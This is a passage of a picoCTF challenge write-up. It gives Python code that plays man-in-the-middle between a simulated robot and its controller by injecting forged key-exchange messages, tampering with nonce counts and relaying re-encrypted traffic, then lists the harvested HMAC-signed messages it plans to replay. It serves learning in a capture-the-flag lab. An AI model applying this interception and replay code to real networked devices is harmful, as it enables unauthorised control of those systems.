json.loads(decrypt(msg_robot_enc, shared_key_robot).decode())<br>    print(&quot;\nDecrypted message from Robot:&quot;, msg_robot_dec)<br><br>    return msg_robot_dec, shared_key_robot<br><br>def get_shared_key_controller(server, dummy_robot_addr, new_controller_addr, my_priv_key):<br>    # The &quot;key_exchange&quot; message for Controller.<br>    key_exchange = {<br>        &quot;msg_type&quot;: &quot;key_exchange&quot;,<br>        &quot;src&quot;: dummy_robot_addr,<br>        &quot;dst&quot;: new_controller_addr,<br>        &quot;key&quot;: monocypher.compute_key_exchange_public_key(my_priv_key).hex()<br>    }<br><br>    my_dh_pub_key_controller = key_exchange[&#39;key&#39;]<br>    print(&quot;\nMy public key sent to Controller:&quot;, my_dh_pub_key_controller)<br><br>    # Sending message.<br>    inject = inject_radio_message(server, key_exchange)<br>    time.sleep(1)<br><br>    # Reading output.<br>    msg_recv = receive_radio_messages(server)<br><br>    # Controller&#39;s public key.<br>    controller_dh_pub_key = msg_recv[0][&#39;key&#39;]<br>    print(&quot;\nController&#39;s public key:&quot;, controller_dh_pub_key)<br><br>    # Construct my shared key with Controller.<br>    shared_key_controller = monocypher.key_exchange(my_priv_key, bytes.fromhex(controller_dh_pub_key))<br>    print(&quot;\nMy shared key with Controller:&quot;, shared_key_controller.hex())<br><br>    return shared_key_controller<br><br>def invalid_msg(server, shared_key_robot, robot_addr, new_controller_addr):<br>    # This function sends an invalid secure_data_ack message to Robot to tamper nonce count.<br>    invalid_msg = encrypt(json.dumps(add_hmac(&quot;&quot;, 99, shared_key_robot)), shared_key_robot)<br>    secure_data_ack = {<br>        &quot;msg_type&quot;: &quot;secure_data_ack&quot;,<br>        &quot;src&quot;: new_controller_addr,<br>        &quot;dst&quot;: robot_addr,<br>        &quot;encrypted&quot;: invalid_msg<br>    }<br><br>    # Sending message.<br>    print(&quot;\nSending invalid message to Robot...&quot;)<br>    inject = inject_radio_message(server, secure_data_ack)<br>    time.sleep(1)<br><br>    # Reading output. Running a while loop until msg is available as, sometimes, there is latency.<br>    msg_recv = []<br>    while len(msg_recv) &lt; 1:<br>        msg_recv = receive_radio_messages(server)<br><br>    # Decrypt message back from Robot.<br>    msg_robot_enc = msg_recv[1][&#39;encrypted&#39;]<br>    msg_robot_dec = json.loads(decrypt(msg_robot_enc, shared_key_robot).decode())<br>    print(&quot;\nDecrypted message from Robot:&quot;, msg_robot_dec)<br><br>    return msg_robot_dec<br><br>def gather_blank_secure_data_response(msg_robot_dec, server, shared_key_controller, shared_key_robot, robot_addr, dummy_robot_addr, new_controller_addr, commands):<br>    # Re-encrypt the decrypted message from Robot to send it to Controller.<br>    msg_robot_reenc = encrypt(json.dumps(msg_robot_dec), shared_key_controller)<br>    secure_data_request = {<br>        &quot;msg_type&quot;: &quot;secure_data_request&quot;,<br>        &quot;src&quot;: dummy_robot_addr,<br>        &quot;dst&quot;: new_controller_addr,<br>        &quot;encrypted&quot;: msg_robot_reenc<br>    }<br><br>    # Sending message.<br>    print(&quot;\nSending re-encrypted message from Robot to Controller...&quot;)<br>    inject = inject_radio_message(server, secure_data_request)<br>    time.sleep(1)<br><br>    # Reading output. Running a while loop until msg is available as, sometimes, there is latency.<br>    msg_recv = []<br>    while len(msg_recv) &lt; 1:<br>        msg_recv = receive_radio_messages(server)<br>    <br>    # Decrypt message back from Controller.<br>    msg_controller_enc = msg_recv[0][&#39;encrypted&#39;]<br>    msg_controller_dec = json.loads(decrypt(msg_controller_enc, shared_key_controller).decode())<br>    print(&quot;\nDecrypted message from Controller:&quot;, msg_controller_dec)<br><br>    # Collect secure_data_response message.<br>    commands.append(msg_controller_dec)<br><br>    # Re-encrypt the decrypted message from Controller to send it to Robot.<br>    msg_controller_reenc = encrypt(json.dumps(msg_controller_dec), shared_key_robot)<br>    secure_data_response = {<br>        &quot;msg_type&quot;: &quot;secure_data_response&quot;,<br>        &quot;src&quot;: new_controller_addr,<br>        &quot;dst&quot;: robot_addr,<br>        &quot;encrypted&quot;: msg_controller_reenc<br>    }<br><br>    # Sending message.<br>    print(&quot;\nSending re-encrypted message from Controller to Robot...&quot;)<br>    inject = inject_radio_message(server, secure_data_response)<br>    time.sleep(1)<br><br>    # Reading output.<br>    msg_recv = []<br>    while len(msg_recv) &lt; 1:<br>        msg_recv = receive_radio_messages(server)<br><br>    # Decrypt message back from Robot.<br>    msg_robot_enc = msg_recv[0][&#39;encrypted&#39;]<br>    msg_robot_dec = json.loads(decrypt(msg_robot_enc, shared_key_robot).decode())<br>    print(&quot;\nDecrypted message from Robot:&quot;, msg_robot_dec)<br><br>    return msg_robot_dec, commands<br><br>def main():<br>    # Initialization of SERVER_URL and PORT.<br>    PORT = int(input(&quot;Enter PORT: &quot;))<br>    server = &quot;http://activist-birds.picoctf.net:&quot; + str(PORT) + &quot;/&quot;<br><br>    # Initialization of variables.<br>    robot_addr = 0x20<br>    controller_addr = 0x10<br>    new_controller_addr = 0x30<br>    dummy_robot_addr = 0x40<br>    commands = []<br>    my_priv_key = os.urandom(32)<br><br>    # Initilization process for validating robot and exchanging keys.<br>    msg_robot_dec, shared_key_robot = initialization(server, robot_addr, controller_addr, new_controller_addr, my_priv_key)<br><br>    # Establishing a shared key with controller.<br>    shared_key_controller = get_shared_key_controller(server, dummy_robot_addr, new_controller_addr, my_priv_key)<br><br>    # Sending an invalid secure_data_ack message to Robot to begin tampering nonce count.<br>    msg_robot_dec = invalid_msg(server, shared_key_robot, robot_addr, new_controller_addr)    <br><br>    # Collecting data.<br>    for i in range(30):    <br>        msg_robot_dec, commands = gather_blank_secure_data_response(msg_robot_dec, server, shared_key_controller, shared_key_robot, robot_addr, dummy_robot_addr, new_controller_addr, commands)<br><br>    print(&quot;\nCollected messages (blank response):&quot;, commands)<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>Once all the data were gathered, I organized them as below:</p><pre># Organized output data.<br><br>secure_data_msg = [<br>    {&#39;message&#39;: &#39;get_movement&#39;, &#39;nonce&#39;: 0, &#39;hmac&#39;: &#39;670636e2d88eaa8fc23cfce017bbce29ba3df4000f08ebb97dc78666e65a03d60a14fa5ca29f56da4935dcf4422bcf07cf24d9ff74ad5adcc9fee7253d0b98b7&#39;}, <br>    {&#39;message&#39;: &#39;get_movement&#39;, &#39;nonce&#39;: 2, &#39;hmac&#39;: &#39;b4dfeee1388f65b18e74e125c33b1516d35168433e1919d202a0f7ad66041d68aa48c71edcd7592e85b3ac6e4eed8d7ff1c86679267867139fbbf5643e8cbdf1&#39;}, <br>    {&#39;message&#39;: &#39;get_movement&#39;, &#39;nonce&#39;: 4, &#39;hmac&#39;: &#39;ab6c1482d75455ed10453dcb8a509e6410ca6d4e2e0698ae353efa200c5c402156538ac5acaba8d79c724d9fab6fa814e455c512fcd21b3667418f597f3cf743&#39;}, <br>    {&#39;message&#39;: &#39;get_movement&#39;, &#39;nonce&#39;: 6, &#39;hmac&#39;: &#39;3d18ad46508addc3398fede055e5a4b308ac256813b665509983e560da04520823221857de94e9afe3447fe9eee171f79a2a22f81b0f3b495ca5d1574290b30f&#39;}, <br>    {&#39;message&#39;: &#39;get_movement&#39;, &#39;nonce&#39;: 8, &#39;hmac&#39;: &#39;70950d509dea058a42571987773a6abbe0512ace2fbb85eafa626cd557dcde987144af6c16772562702c7ee3ecda237d7ee53285d12722c9c41d5e44ab57259f&#39;}, <br>    {&#39;message&#39;: &#39;get_movement&#39;, &#39;nonce&#39;: 10, &#39;hmac&#39;: &#39;7dd0c67f381a02a2811fda9bc8a94906659b041b9a3d5f7996e980cb553db48d3ae5e9275b2b664a71cf71ef3ad3d565eb046296dc581a174e99bc02d5eca268&#39;}, <br>    {&#39;message&#39;: &#39;get_movement&#39;, &#39;nonce&#39;: 12, &#39;hmac&#39;: &#39;b6b762ea8a0f2a4bb35947d0fbd0b6b70f15d9c5a7376eb5ff9048cd02de1211b5992e332615ebbb5ba02ce595c7080f6a6affdd0e059663cd82723e6aa4dbd6&#39;}, <br>    {&#39;message&#39;: &#39;get_movement&#39;, &#39;nonce&#39;: 14, &#39;hmac&#39;: &#39;4adcd5d9e5978e7c5b4c0e89bdc6e63e0a1580b0d2fd30925e7360ac80f33a7e9eee39599f1d4dce10d8f4406b46ff346180fd779bed88fa3987d0aa4966ddd4&#39;}, <br>    {&#39;message&#39;: &#39;get_movement&#39;, &#39;nonce&#39;: 16, &#39;hmac&#39;: &#39;da321a05774f9af8dbc11a73b1b556943a10d0b85ed7dcb1a2eee2b668a7015b810a34614a858bec1b250738d63ca54ccb7255b295c2a85e791baf03b50e2428&#39;}, <br>    {&#39;message&#39;: &#39;get_movement&#39;, &#39;nonce&#39;: 18, &#39;hmac&#39;: &#39;6ced1b7c09993354f641334d223fc3a1382ac43214246fb2440b9e05491b30d15a97172a68530bf7c4a1986ffb676cc7f0d372cd81efeb146b330f0677a3c187&#39;}, <br>    {&#39;message&#39;: &#39;get_movement&#39;, &#39;nonce&#39;: 20, &#39;hmac&#39;: &#39;fc8911b5d5b0a254a21d82cbabe73544ce5fe2ba9269d2af33ab5fd51202bb639b1f04f37b4a9b71c53ad4306b7c7b17327b5df1fc992f3dd9e0fc15317aca18&#39;}, <br>    {&#39;message&#39;: &#39;get_movement&#39;, &#39;nonce&#39;: 22, &#39;hmac&#39;: &#39;ee9abf2bde558f5608efe44a668ccea8ca333f84cd37606673ecb088cc7011da9cd464236c176f6348f9ac2d55699a3dfde318f547dbf41acd42670e9f2467d0&#39;}, <br>    {&#39;message&#39;: &#39;get_movement&#39;, &#39;nonce&#39;: 24, &#39;hmac&#39;: &#39;9f771526c3a347c6bc13bc84448d411f7a9c2dd00fd8e89baa5f5633e4bc86a2227597a0868ceae60a8d48dac5e0f75cc8e8e65555eab8e6adc0bc61d490178b&#39;}, <br>    {&#39;message&#39;: &#39;get_movement&#39;, &#39;nonce&#39;: 26, &#39;hmac&#39;: &#39;2e7d4329dcd69a53f927e1e3274c2c3d2e8350acf242f8c1782077693c72e508a4dc37e8d59a4d44647e7423bfca8ea61d23acd934840a81e39d8cdec0e967e5&#39;}, <br>    {&#39;message&#39;: &#39;get_movement&#39;, &#39;nonce&#39;: 28, &#39;hmac&#39;: &#39;2f8efd1669137992f64ec329fa08c907bb608aa3e20e98031c639567d2d694d08f539dc62364b63549957144b3c499acb6747688ce71b37bc8cd59bbd7ffb064&#39;}, <br>    {&#39;message&#39;: &#39;get_movement&#39;, &#39;nonce&#39;: 30, &#39;hmac&#39;: &#39;edc697acd6fd474f5ffb05492cd1d4c9650393a88dcbc25176d906604720f8b640c4d0e904df180eb32f80cc7d3de4a1e23554e4a1350d3d624b11734476919e&#39;},<br>    {&#39;message&#39;: &#39;get_movement&#39;, &#39;nonce&#39;: 32, &#39;hmac&#39;: &#39;a8dd27513c43e8a1266d061a0e73b5c44ad0477fa1286c4ef3df4a83570a640e279d74b5f05de0d3b258cc751918cfd47202906b49cc071db3a216d9cfb4dad1&#39;},<br>    {&#39;message&#39;: &#39;get_movement&#39;, &#39;nonce&#39;: 34, &#39;hmac&#39;: &#39;4e5f39d59b667340c5e994f7e2a5a591ffe00270d711d1f0dc29b19ab1b84660a8c62d6515fef36ed57bb7188cec17cda6ce2f19936b09dbdea19a6767a28706&#39;},<br>    {&#39;message&#39;: &#39;get_movement&#39;, &#39;nonce&#39;: 36, &#39;hmac&#39;: &#39;88a4a867faa58a60ddddaa9698601e72f2e76d7559a057829d77270b32c143b506edc8efbc08fad30f9c98b2428c50a8004610ea0b45a190c484f3013d175c90&#39;}, <br>    {&#39;message&#39;: &#39;get_movement&#39;, &#39;nonce&#39;: 38, &#39;hmac&#39;: &#39;450c6eed3294320f49826b9f5b6daa17654aa81cf6d3cc329cf28e5419ae0ccea02f36f3491057e427e6a28c694df3a8a2a63edca75ca78dd2a897028eeeb1a3&#39;}<br>]<br><br>secure_data_response_msg = [ <br>    {&#39;message&#39;: &#39;east&#39;, &#39;nonce&#39;: 1, &#39;hmac&#39;: &#39;eb2c27787a4cb68693d1b75ba0098d837e79a6f41285cbffb71b6ec490e9d50740c53808bbc70b355267a6997410ec5e918ac66804fb22aaf7ada28d307b5f61&#39;},  <br>    {&#39;message&#39;: &#39;south&#39;, &#39;nonce&#39;: 3, &#39;hmac&#39;: &#39;579aecc109e1ee28cf74a0c80b51c4f66ee8d3316b5badf2b45f232c4c22d579e56dfe5800b2af19abf6f12bc82cb70761a19848db2674379ffaadb133553415&#39;},  <br>    {&#39;message&#39;: &#39;west&#39;, &#39;nonce&#39;: 5, &#39;hmac&#39;: &#39;537833b0828836ef791ee1441a4c420e6142da97ec8cf3327e2ee1be77aec4b2dfc37f5f636f45ed5074a31d750cfc3049f922296ecca8227c10efb65cf5ef62&#39;},  <br>    {&#39;message&#39;: &#39;north&#39;, &#39;nonce&#39;: 7, &#39;hmac&#39;: &#39;775d255bb3b912bf061373f62843825d170f15c2266a4c5e3479f319a93c2d4222121a4d5fdee7a57f124980316d16a851236aedb9263989569d4e16ebdd3e9c&#39;},  <br>    {&#39;message&#39;: &#39;east&#39;, &#39;nonce&#39;: 9, &#39;hmac&#39;: &#39;68acec63858082f927a8cfdd9d80ee97350c7a2b80039feddfbdc9c985872c1cc2a737605ce876c3a57cac8d1b2b448225a097606ffa1286acf5ed900122d59c&#39;},  <br>    {&#39;message&#39;: &#39;south&#39;, &#39;nonce&#39;: 11, &#39;hmac&#39;: &#39;616e6a8679044f873ba67f7958535b396e07674ae89f6a2ce49ee5778c2cf1189ac5dd670ddc00a9a411259a3920f655b71fb76febd07d1fb9c5fadfe2716ff7&#39;},  <br>    {&#39;message&#39;: &#39;west&#39;, &#39;nonce&#39;: 13, &#39;hmac&#39;: &#39;1d1940ca1d56e6c102209603f752434c3cf3522b1f33b8d4325a9cdf207b00e0a30bda72542767fc8f3525a18ceaad566cf3741d48751083c426206c430177d2&#39;}, <br>    {&#39;message&#39;: &#39;north&#39;, &#39;nonce&#39;: 15, &#39;hmac&#39;: &#39;df72b2cee9b3adfcc1e679c52117903d0dd8b0c6e64ef1e4d1aeb5f105a89478d6b968a68ddf5ffacece4d272aa534ae70c6cca586c81286dfb575fdd3d77c4a&#39;},  <br>    {&#39;message&#39;: &#39;east&#39;, &#39;nonce&#39;: 17, &#39;hmac&#39;: &#39;262acb5123e94cee52d8399fc886864442fdaf6b3fd6ff903d8231d5facf08346faff1e99d1a2b88288f091361132c956f825e9f13791a9c51f1173f79a7cc48&#39;},  <br>    {&#39;message&#39;: &#39;south&#39;, &#39;nonce&#39;: 19, &#39;hmac&#39;: &#39;961cf97203bb4c9f5b77aba140622be0d71cf4a67ad43cf84620fdcebd649dcfb13c9d880c128d53148e3b9be5be717be502f2b723abe376caa9f390828b4d4b&#39;},  <br>    {&#39;message&#39;: &#39;west&#39;, &#39;nonce&#39;: 21, &#39;hmac&#39;: &#39;864908816ef3587ced6ff2f05ecea00bef68714b42731bda601f2a754e8693f971933578bd3c462afa5c6aa6331d5f9deec107f32cea915bd0e971ebbc6bd552&#39;},  <br>    {&#39;message&#39;: &#39;north&#39;, &#39;nonce&#39;: 23, &#39;hmac&#39;: &#39;da705d657a9bd149c906e6b0e258ae54aaf309b1946bf9ec93894d7ad1e8b35257949cf9a3b1fac17f17046ed13a8a0f39d89128ac461afab034f7e3cabfae3c&#39;},  <br>    {&#39;message&#39;: &#39;east&#39;, &#39;nonce&#39;: 25, &#39;hmac&#39;: &#39;b5cc0025c6144f0cab5e92b5193117a13f105a066178d9d80b3f39042112f40e5405fe5c6a8041b49510caa4a730dff266afedf57f6c7b4e97888577cf5f213e&#39;},  <br>    {&#39;message&#39;: &#39;south&#39;, &#39;nonce&#39;: 27, &#39;hmac&#39;: &#39;4f47e7533e3d6f3ab06b05b39cf671a470f647fdb0fae352142c75c5740407555ce4ba54e04b5d15f5aabe6078b06c73406d9272b839a5c90586b9be26d4663a&#39;},  <br>    {&#39;message&#39;: &#39;west&#39;, &#39;nonce&#39;: 29, &#39;hmac&#39;: &#39;6c2c5695a47d6f6c5389c01fda36099275c0d886586692762f20b5a61a64272170a26cf0b4ae1e63e36f61a73cd98d74a4011c5d044440b8cfae8245152cfd6a&#39;},  <br>    {&#39;message&#39;: &#39;north&#39;, &#39;nonce&#39;: 31, &#39;hmac&#39;: &#39;b817847ea2dcefec91c18b3632ecea1cf4c31bb35ac668bb97b69fc06db6d17da69a51977840bbd801b406e20f405e17d452c2b9532c6a09eef467ff8b62352a&#39;},<br>    {&#39;message&#39;: &#39;east&#39;, &#39;nonce&#39;: 33, &#39;hmac&#39;: &#39;0cce9220c171b95706f195e9bc33d4ccb9fd0338d7c204f635e940120b0c943c6e52d42e37dddae123a2a3e3899b7709214e6b473edc5b742894463d1957a56b&#39;},<br>    {&#39;message&#39;: &#39;south&#39;, &#39;nonce&#39;: 35, &#39;hmac&#39;: &#39;2d00260487f2190f372e7eafe8674a9ee7c251e35e2582226b83deab420c27c909cba9f5daaae591aec6b9f5cb0990cac0e82e0fa1aeb683e4e06c9b6ef22532&#39;},<br>    {&#39;message&#39;: &#39;west&#39;, &#39;nonce&#39;: 37, &#39;hmac&#39;: &#39;73ea15f02f16132c47bfed0228be79d071398c406b12d190a08955c51cc7a05787a7bad652b72a76f6ae6aa13e7a5c31fc98b8a94989be1f2699cc9b1cf1ef42&#39;},<br>    {&#39;message&#39;: &#39;north&#39;, &#39;nonce&#39;: 39, &#39;hmac&#39;: &#39;f57b76f181597ebd6fa6ae1adfac676e9a2a5ce52867e425b042f90c5528f6f52163b3cb8b3f127b577754afd8099664dc0f3f93dc7492ffb739df99b4809c79&#39;}<br>]<br><br>blank_msg = [<br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 0, &#39;hmac&#39;: &#39;6de119cbb63b80e2c42f17c869e0ef9ad9dde0e21c8342b57dbe4fa69ca2a39660adf86341a15f90ed1b569029ce91373adc315fefbf3c235fc2703fadc791f4&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 1, &#39;hmac&#39;: &#39;cdcbf5e8cb3adbafa9b8bd076ce0975cba2a3de02a8619e5b0e4b55090eb02c32428b9c4e6b5c7ccf6d47a6615e0bce4815da3a9877300f568b2b3187205c1af&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 2, &#39;hmac&#39;: &#39;2c5e7b660dbdef0aa67b57bdc11c89bb654a230fc05eff2c67de15c869996283d0a8f706be510ee40b4372c8507e4519e9e7cffd5b491f5541c69f46b070b077&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 3, &#39;hmac&#39;: &#39;a7d5ab6118c6a76826aeeeaf849d8190c0f6aca1ea635f5fe40541a2b7ce9cf22529acbe623dc996170ea056d8f86556ea1d1ad89462c3933c21944f9481cbf9&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 4, &#39;hmac&#39;: &#39;bec982a7663bbf8ce32cfa390ea7ee8e3471be21412e40330064d33b644faf57d8a6a317893f9771159a10cf3039e64b93e791571a0a75ccf13603765eaf9d16&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 5, &#39;hmac&#39;: &#39;cc6d33dc21238d8b99c8c00846747629cbeb525e1c04a17e3ec9089900385eaebadd8360260640c031c961ed245415dae6ac67f8160cea955eae9d9d59a5d1fd&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 6, &#39;hmac&#39;: &#39;1d0ce730f4f60c84924c12eddbbc8591eb2f7b3e53a94da638129019f1fb4a49b60e5c752ad879d856ff2d21c06f5f6faff373ce4694e43ab90123574ef3a13b&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 7, &#39;hmac&#39;: &#39;485d65af1f75ee984a9c614cd0f6ff171e15399325956461a9d47622ce014cbb12fb4586ce5c385d82000b91a2f98a5997e6c5f6822aa5a2a1e531a27626b30c&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 8, &#39;hmac&#39;: &#39;27d3feee711a0d3ecc78994ac86d9a3853305497535889bab7254c95caf3410821a3b84cfaed13cd68e0a96051b60a98211bce97f5818332b63cad2a3e8e0bed&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 9, &#39;hmac&#39;: &#39;695fd8ff94412ca898915d13b274a44e509a860333eba70615defd726122e884e93ed88b27ee67d28516a670f90912fb07788c93cfe1cfc47bbfb85fa350eeef&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 10, &#39;hmac&#39;: &#39;d68a8e431b1e9cdd2dca36e199ffa2d709b3e1f919169a181a2e4c3cf4ea0fa1a7643d7b4800e750070a913c2cea887642f11333ee8327cc6771e0820db5e819&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 11, &#39;hmac&#39;: &#39;f0b1294eaab43e02573fe88a8fc009f494e3da3b586f63b2239ddd3618a336153b87cc4bd88b78a226ea23acc9d4bc4499cf30c88458eeb4877f7e28795c3f5f&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 12, &#39;hmac&#39;: &#39;3a45462287206b989a649b5ee3261ae8015e5dd94d41bd7923e1750ccf363864b8cba5722a5771b32ef7a0a00622738f555784829e9ec6eb5e7f9f97be9a5c11&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 13, &#39;hmac&#39;: &#39;d463cceed39b35d750c30e5fdb34229574d6b040498a4ba44e37132f31ccba3943204c0b87d7e75fc5f0f24e178a06c6c0b224fb53435ea387307e96323a50a8&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 14, &#39;hmac&#39;: &#39;adfd43df669809c3e43ae402f2f6c251a1d6bc8c2550047218d233e0a2cd598d8a4570a7addc317df1a154863979346ea1cb5f97372bdab0032b5a4d9df6699d&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 15, &#39;hmac&#39;: &#39;74eb324e202bc4fd4c43472f1c718d2c8e53b9e70c1825caf4f166e450bd89a39dbbbaee3feadf3b21213c949d81c0aba2047b0f7475ef6ac2991ec67326f003&#39;},<br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 16, &#39;hmac&#39;: &#39;3eee7dca55dcd1c434964d782a719940f8125f8655fbe0d6a9407161715009ce1d3e9e8fa2cedd0d80508e80a3ccaa78274c28c8f930493e919a06979930ee79&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 17, &#39;hmac&#39;: &#39;68e4d71cacc60fc6f117f2ad9ff0f8155e702773c221921f353d67f1a4f07356788a81c7ef46e4706afd4948be010b5f0d22098d03868548224168310069f234&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 18, &#39;hmac&#39;: &#39;99a2afc547d86ca1d78fc3c11122d382917d48e9206fb0cd419931057caa4b853e4c0f7bd19761c52380d61b1b04e5e74f441ea3418bf7e76658d313eab49cda&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 19, &#39;hmac&#39;: &#39;0e06322f22d6f86b88bc521475873539c55af2448d097e76e2797b0c6de5c692d3a20769f0d2f1a1113049c7c3496ea12aaa628c5baca8cde8a5336d6e3af8cd&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 20, &#39;hmac&#39;: &#39;2f71a133e48c37416abd5e753763b4ddd92cac12bf6d44048153be3ef4287ff6461873fa84a573a090f88d6620555144f65faf62f27ce719a64db0e93da00aae&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 21, &#39;hmac&#39;: &#39;c10934db304354f57ca93bb65412a7a2a67275d8e735271f7337bf0ed3e6a5cfc870bba14404175364377ddc722f36d5182051b5ed9e893f5896f17fa15b5f99&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 22, &#39;hmac&#39;: &#39;588563ed2e5dd4fe92be19037c7c4fc473aadc202a0ae0ed5ebecb5f544bd13951a50d380e282bde44a72956ad3736300c3c6daf6024a5f8aea88103a18f2b7e&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 23, &#39;hmac&#39;: &#39;403f84a33c6932373c1fbe142175120e150452325b5be3e09acdd21b17860b0e08f515a647ad6885954e02af46b45ede0913e3c259c336cd0adc1b826908ab29&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 24, &#39;hmac&#39;: &#39;384fe9f407beb333dc39c7c206656c68cda1c717ca53796b2d1f460fb8882d8fb251700f73237a8936273c8c48e443ddad81a17e58602b5bcd2880f74f70a858&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 25, &#39;hmac&#39;: &#39;4e65650adfe05f15aea6c32500e936b16dc03a00daf519bf0018a7b2d369cc5f9f87f86818cbb11fc6f08a296942c2bff31846dab6d08a17a72b4ae8eef58c27&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 26, &#39;hmac&#39;: &#39;afd56e2b2135048c147dfaf6c7666b90a8843da6db248f29b572da9b70ea2265f51dae3d9fa8d7e598f83f49140895e2cc64c11f7282f193062dac3f368d3f98&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 27, &#39;hmac&#39;: &#39;fce12696df94442e22203501d401b43ccabd2a37efcd016586748750c76051137adde4d7f45b363efd8e73710e53d0c39992a05049684266cf3fa2639115112d&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 28, &#39;hmac&#39;: &#39;5f9c57941f9a36083cde40315bc9cea7a612381f6b0f09332e4502ddd319305c1209932d03ff74c829a417cc70f2704fa493d989fe3e37399dbe25dd42be7e67&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 29, &#39;hmac&#39;: &#39;86519e890899e98f5c1faeda69113375c99d01bcd946ba6bbd94b9e2c8504b6c9257f2bbad7f2365c3524f25684443deaf8d4705d944ef23a8271d3cf4569257&#39;}<br>]</pre><p>With this data gathered, I moved on to formulating my plan of attack. One thing I noticed was that I was only able to obtain up to nonce 39 for the <em>“secure_data_response”</em> message type, and this was not enough to land on the flag. It was because of the <em>for loop, </em>in<em> robot.py, </em>being in the range of 20. Therefore, I needed to also utilize the next movement in line from the <em>while loop</em> in <em>robotcontroller.py</em>.</p><p>In the default state, the robot would continuously move from <em>east</em> to <em>south</em> to <em>west</em> to <em>north</em>, and it was because of the <em>while loop</em> that would set the value of <em>self.send_buffer_secure</em> to one of these directions.</p><pre># The while loop that sets the direction in robotcontroller.py.<br><br>...<br><br>async def run(self):<br>    while self.running:<br>        await asyncio.sleep(0.05)<br>        # Wait for the secure messaging layer to provide a secure command<br>        if self.recv_buffer_secure == &quot;get_movement&quot;:<br>            self.recv_buffer_secure = &quot;&quot;<br><br>            # Demo version sends the same four commands repeatedly<br>            # Full control is available in the licensed version of this system<br>            self.send_buffer_secure = [&quot;east&quot;, &quot;south&quot;, &quot;west&quot;, &quot;north&quot;][self.movement_counter % 4]<br>            self.movement_counter += 1</pre><p>Basically, there was a counter that would set the index, which in turn, would set the direction to send to the robot. I had to make sure to carefully set the controller to my desired direction when I needed it for my next move.</p><p>With all this in mind, my plan to exploit was as below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zh8yD6ZNYiv3QCPRestC3w.png" /></figure><p>Recognizing that I didn’t need all of the collected data, I trimmed it down as below. It turned out that I actually didn’t need any of the HMAC values from the <em>secure_data_msg </em>list.</p><pre># Organized output data (trimmed).<br><br>secure_data_response_msg = [  <br>    {&#39;message&#39;: &#39;east&#39;, &#39;nonce&#39;: 9, &#39;hmac&#39;: &#39;68acec63858082f927a8cfdd9d80ee97350c7a2b80039feddfbdc9c985872c1cc2a737605ce876c3a57cac8d1b2b448225a097606ffa1286acf5ed900122d59c&#39;},   <br>    {&#39;message&#39;: &#39;north&#39;, &#39;nonce&#39;: 15, &#39;hmac&#39;: &#39;df72b2cee9b3adfcc1e679c52117903d0dd8b0c6e64ef1e4d1aeb5f105a89478d6b968a68ddf5ffacece4d272aa534ae70c6cca586c81286dfb575fdd3d77c4a&#39;},    <br>    {&#39;message&#39;: &#39;west&#39;, &#39;nonce&#39;: 21, &#39;hmac&#39;: &#39;864908816ef3587ced6ff2f05ecea00bef68714b42731bda601f2a754e8693f971933578bd3c462afa5c6aa6331d5f9deec107f32cea915bd0e971ebbc6bd552&#39;},   <br>    {&#39;message&#39;: &#39;south&#39;, &#39;nonce&#39;: 27, &#39;hmac&#39;: &#39;4f47e7533e3d6f3ab06b05b39cf671a470f647fdb0fae352142c75c5740407555ce4ba54e04b5d15f5aabe6078b06c73406d9272b839a5c90586b9be26d4663a&#39;},  <br>    {&#39;message&#39;: &#39;east&#39;, &#39;nonce&#39;: 33, &#39;hmac&#39;: &#39;0cce9220c171b95706f195e9bc33d4ccb9fd0338d7c204f635e940120b0c943c6e52d42e37dddae123a2a3e3899b7709214e6b473edc5b742894463d1957a56b&#39;}<br>]<br><br>blank_msg = [ <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 10, &#39;hmac&#39;: &#39;d68a8e431b1e9cdd2dca36e199ffa2d709b3e1f919169a181a2e4c3cf4ea0fa1a7643d7b4800e750070a913c2cea887642f11333ee8327cc6771e0820db5e819&#39;}, <br>    {&#39;message&#39;: &#39;&#39;, &#39;nonce&#39;: 11, &#39;hmac&#39;: &#39;f0b1294eaab43e02573fe88a8fc009f494e3da3b586f63b2239ddd3618a336153b87cc4bd88b78a226ea23acc9d4bc4499cf30c88458eeb4877f7e28795c3f5f&#39;}<br>]</pre><p>The 